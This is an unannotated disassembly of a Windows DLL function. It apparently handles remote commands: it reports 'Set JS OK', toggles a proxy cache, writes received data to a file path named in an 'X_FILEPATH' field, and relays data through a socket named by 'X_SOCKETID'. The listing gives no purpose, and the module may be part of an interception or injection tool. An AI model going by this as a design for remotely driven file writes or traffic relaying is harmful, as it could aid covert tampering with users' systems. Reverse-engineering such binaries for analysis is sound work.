lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x120]
call fcn.180006160
lea rcx, [rsp + 0x80]
call fcn.180006b00
mov rdx, qword [rsp + 0x40]
cmp rdx, qword [rsp + 0x120]
je 0x18000492a
add rdx, 0x40
lea rcx, [rsp + 0xc0]
call fcn.180012c40
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.1800066b0
lea rcx, [rsp + 0xc0]
call fcn.180006660
cmp qword [rsp + 0xb0], 0
je 0x1800049ef
lea rdx, [rsp + 0xa0]
mov rcx, r15
call fcn.180006490
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rdx, str.plain
lea rcx, [rsp + 0xc0]
call fcn.180006c50
mov rbx, rax
mov rdx, r15
lea rcx, [rsp + 0x1e0]
call fcn.180012e50
nop
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.180012a60
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
lea rdx, [0x180045ed8]
lea rcx, [rsp + 0x80]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0xa0]
call fcn.180006660
nop
jmp 0x1800043ba
lea rcx, [rsp + 0xa0]
call fcn.180006660
nop
jmp 0x1800051d0
cmp qword [rsp + 0xf0], 0
je case.0x1800041d6.102
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180012a60
lea rcx, [r15 + 0x30]
mov rdx, rax
call fcn.180006b90
lea rcx, [rsp + 0xc0]
call fcn.180006b00
lea rax, [rsp + 0x160]
mov qword [rsp + 0x50], rax
lea rdx, str.plain
lea rcx, [rsp + 0x160]
call fcn.180006c50
mov rbx, rax
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180006cb0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r12
call fcn.18000fc30
lea rdx, str.Set_JS_OK_
lea rcx, [rsp + 0x1e0]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
jmp 0x1800043c8
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180012a60
nop
mov rdx, rax
lea rcx, [rsp + 0x120]
call fcn.180010130
nop
lea rcx, [rsp + 0xc0]
call fcn.180006b00
lea rdx, str.timeout
lea rcx, [rsp + 0xa0]
call fcn.180006c50
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x120]
call fcn.180006160
lea rcx, [rsp + 0xa0]
call fcn.180006b00
mov rcx, qword [rsp + 0x40]
cmp rcx, qword [rsp + 0x120]
je 0x180004bd7
add rcx, 0x40
call fcn.180001270
nop
test eax, eax
jne 0x180004b84
mov byte [r15 + 0x20], al
lea rdx, str.Disable_Proxy_Cache
lea rcx, [rsp + 0x160]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
jmp 0x1800043ba
jle 0x180004bd7
mov byte [r15 + 0x20], 1
imul eax, eax, 0x3c
mov dword [r15 + 0x24], eax
xor ecx, ecx
call fcn.18001a750
movsxd rcx, dword [r15 + 0x24]
add rcx, rax
mov qword [r15 + 0x28], rcx
lea rdx, str.Enable_Proxy_Cache
lea rcx, [rsp + 0x160]
call fcn.180006c50
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
jmp 0x1800043ba
jmp 0x1800051d0
mov rax, qword [r13]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, r13
call qword [rax + 0x18]
test rax, rax
je case.0x1800041d6.102
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180006c50
nop
cmp qword [rsp + 0x90], 0
jne 0x180004c27
lea rcx, [rsp + 0x80]
call fcn.180006b00
jmp case.0x1800041d6.102
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa0]
call fcn.180012c40
nop
lea rcx, [rsp + 0xa0]
call fcn.180006620
mov rcx, rax
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov dword [rsp + 0x68], edi
cmp rax, 0xffffffffffffffff
je 0x180004cd7
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x180004cd7
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc0]
call fcn.180012a60
or r14d, 4
mov rcx, rax
call fcn.180006810
mov rdx, rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x68]
mov r8d, dword [rsp + 0xf0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180004cda
mov dil, 1
test r14b, 4
je 0x180004ced
lea rcx, [rsp + 0xc0]
call fcn.180006b00
test dil, dil
je 0x180004e1f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x120]
call fcn.180001310
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0x180]
call fcn.1800012f0
mov rbx, rax
lea r8, [rsp + 0x80]
lea rdx, str.Write_file
lea rcx, [rsp + 0x1c0]
call fcn.18000a080
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x1a0]
call fcn.18000a380
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.18000a3f0
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000a380
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000a3f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1a0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1c0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x180]
call fcn.180006b00
nop
lea rcx, [rsp + 0x120]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0xa0]
call fcn.180006660
nop
lea rcx, [rsp + 0x80]
call fcn.180006b00
jmp 0x1800043c8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x68]
lea rcx, [rsp + 0x1c0]
call fcn.180001310
mov rbx, rax
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0x1a0]
call fcn.180001330
nop
mov r8, rax
lea rdx, str.Received_file_length:
lea rcx, [rsp + 0x1e0]
call fcn.18000a1f0
nop
lea r8, str._Write_length:
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.18000a380
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.18000a3f0
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1e0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1a0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x1c0]
jmp 0x180004df0
mov rax, qword [r13]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, r13
call qword [rax + 0x18]
mov qword [rsp + 0x68], rax
test rax, rax
je case.0x1800041d6.102
xor edi, edi
mov qword [rsp + 0x58], rdi
mov ebx, edi
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180006c50
nop
lea rcx, [rsp + 0xa0]
call fcn.180001270
movsxd r14, eax
mov qword [rsp + 0x58], r14
lea rcx, [rsp + 0xa0]
call fcn.180006b00
mov r15d, edi
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x80]
call fcn.180006cb0
nop
cmp ebx, 0x5dc
jge 0x18000513b
lea rcx, [rsp + 0x80]
call fcn.180006810
mov rdx, rax
xor r9d, r9d
mov r8d, dword [rsp + 0x90]
mov rcx, r14
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x18000504f
nop dword [rax]
cmp ebx, 0x5dc
mov edi, 0
jge 0x18000513b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x18000503d
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x160]
call fcn.1800012f0
nop
mov r8, rax
lea rdx, str.Send_failed_error:
lea rcx, [rsp + 0xc0]
call fcn.18000a1f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, esi
jmp 0x1800051fb
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180004f90
test eax, eax
jne 0x180005063
lea ecx, [rax + 0x14]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180004f54
jle 0x180004f54
mov ebx, edi
movsxd r8, eax
cmp r8, qword [rsp + 0x90]
jb 0x1800050fd
lea edx, [rax + r15]
lea rcx, [rsp + 0x160]
call fcn.1800012f0
nop
mov r8, rax
lea rdx, str.send_length:
lea rcx, [rsp + 0xc0]
call fcn.18000a1f0
mov r8, rax
mov edx, 1
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, esi
jmp 0x1800051fb
add r15d, eax
or r9, 0xffffffffffffffff
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.180006740
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.180006b90
lea rcx, [rsp + 0xc0]
call fcn.180006b00
jmp 0x180004f54
mov rcx, r14
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x160]
call fcn.1800012f0
nop
mov r8, rax
lea rdx, str.Send_timeout__error:
lea rcx, [rsp + 0xc0]
call fcn.18000a1f0
mov r8, rax
xor edx, edx
mov rcx, r12
call fcn.18000fa00
nop
lea rcx, [rsp + 0x160]
call fcn.180006b00
mov r14, qword [rsp + 0x48]
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x80]
call fcn.180006b00
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
mov eax, esi
jmp 0x1800051fb
lea rcx, [rsp + 0x120]
call fcn.1800052b0
nop
lea rcx, [rsp + 0xe0]
call fcn.180006b00
nop
lea rcx, [rsp + 0x100]
call fcn.180006b00
xor eax, eax
mov rcx, qword [rsp + 0x1200]
xor rcx, rsp
call fcn.180015110
lea r11, [rsp + 0x1210]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret